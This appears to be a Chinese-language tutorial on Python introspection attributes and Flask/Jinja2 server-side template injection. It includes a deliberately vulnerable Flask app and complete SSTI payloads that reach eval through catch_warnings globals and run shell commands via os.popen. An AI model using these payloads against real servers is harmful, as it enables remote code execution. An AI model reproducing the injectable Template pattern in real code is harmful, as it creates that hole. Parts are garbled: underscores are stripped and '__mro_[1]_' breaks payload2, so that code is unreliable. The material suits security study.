前置知识
class
class是类的一个内置属性, 用来获取类的类型, 作用相当于type.
>>> "a".__class__
<class 'str'>
>>> type("a")
<class 'str'>
base和__bases__
他们用来获取类的直接父类
不同的是: base只能获取一个直接父类, bases获取所有直接父类
class A:
pass
class B(A):
pass
print(B.__base__)
# 输出:<class '__main__.A'>
class A:
pass
class B:
pass
class C(A, B):
pass
print(C.__bases__)
# 输出:(<class '__main__.A'>, <class '__main__.B'>)
subclasses()
用来查看类的直接子类
class base1:
pass
class base2:
pass
class A(base1, base2):
pass
class B(base1):
pass
class C(base2):
pass
class D(A):
pass
print(base1.__subclasses__())
#输出 [<class '__main__.A'>, <class '__main__.B'>]
name
用来获取类的名称
class base1:
pass
class base2:
pass
class A(base1, base2):
pass
print(A.__class__.__name__)
#输出 type
globals
所有的函数都会有一个__globals__属性他返回函数所在模块命名空间中所有变量(返回一个字典)
def flag():
secret = "flag{this_is_a_secret}"
class Test:
def a(self):
pass
b = "flag{this_is_a_secret}"
print(flag.__globals__)
# 输出
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001CF40AE5AD0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\data\\python_data\\pythonProject\\test\\test.py', '__cached__': None,
# 'flag': <function flag at 0x000001CF62087E20>, 'Test': <class '__main__.Test'>, 'b': 'flag{this_is_a_secret}'}
mro
用于查看类的继承顺序
class base:
pass
class A(base):
pass
a = A()
print(a.__class__.mro())
# 输出 [<class '__main__.A'>, <class '__main__.base'>, <class 'object'>]
Flask SSTI常见的Payload分析
源码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
# 从请求参数中获取名为"name"的值,如果不存在则默认为"guest"
name = request.args.get("name", "guest")
# 初始化模板,将获取到的姓名或默认姓名插入到模板中
t = Template("Hello " + name)
# 渲染模板并返回
return t.render()
if __name__ == "__main__":
app.run(debug=True)
payload1:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
payload2
{% for c in [].__class__.__mro_[1]_.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
测试流程
首先得到类名
{% for c in [].__class__.__base__.__subclasses__() %}
{{c.__name__}}.<br>
{% endfor %}
下面查找你想找的域名空间的相关信息:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__.values() }}
{% endif %}
{% endfor %}
接下来就是找到类型为字典的变量
{% for c in [].__class__.__mro_[1]_.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{{}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
检查字典中是否有eval键,并利用eval执行恶意代码
{% for c in [].__class__.__mro_[1]_.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
完整流程总结
获取所有子类列表。
找到名为 catch_warnings 的子类。
获取该类的 init 方法的全局变量。
从中找到字典类型的变量。
检查这些字典是否包含 eval 键。
使用 eval 键执行任意代码。